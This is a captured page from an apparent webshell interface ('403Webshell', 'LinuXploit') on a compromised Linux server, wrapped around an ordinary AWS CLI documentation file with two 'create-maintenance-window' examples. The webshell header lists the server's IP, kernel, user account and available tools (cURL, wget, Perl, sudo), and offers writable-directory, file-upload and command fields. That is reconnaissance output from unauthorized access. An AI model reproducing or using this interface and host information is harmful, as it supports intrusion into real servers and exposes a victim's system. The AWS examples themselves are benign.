403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/bsd-crawler-parser/aws/dist/awscli/examples/ssm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/bsd-crawler-parser/aws/dist/awscli/examples/ssm/create-maintenance-window.rst
**Example 1: To create a maintenance window**

The following ``create-maintenance-window`` example creates a new maintenance window that every five minutes for up to two hours (as needed), prevents new tasks from starting within one hour of the end of the maintenance window execution, allows unassociated targets (instances that you haven't registered with the maintenance window), and indicates through the use of custom tags that its creator intends to use it in a tutorial. ::

    aws ssm create-maintenance-window \
        --name "My-Tutorial-Maintenance-Window" \
        --schedule "rate(5 minutes)" \
        --duration 2 --cutoff 1 \
        --allow-unassociated-targets \
        --tags "Key=Purpose,Value=Tutorial"

Output::

    {
        "WindowId": "mw-0c50858d01EXAMPLE"
    }


**Example 2: To create a maintenance window that runs only once**

The following ``create-maintenance-window`` example creates a new maintenance window that only runs one time on the specified date and time. ::

    aws ssm create-maintenance-window \
        --name My-One-Time-Maintenance-Window \
        --schedule "at(2020-05-14T15:55:00)" \
        --duration 5 \
        --cutoff 2 \
        --allow-unassociated-targets \
        --tags "Key=Environment,Value=Production"

Output::

    {
        "WindowId": "mw-01234567890abcdef"
    }

For more information, see `Maintenance Windows <https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-maintenance.html>`_ in the *AWS Systems Manager User Guide*.

Youez - 2016 - github.com/yon3zu
LinuXploit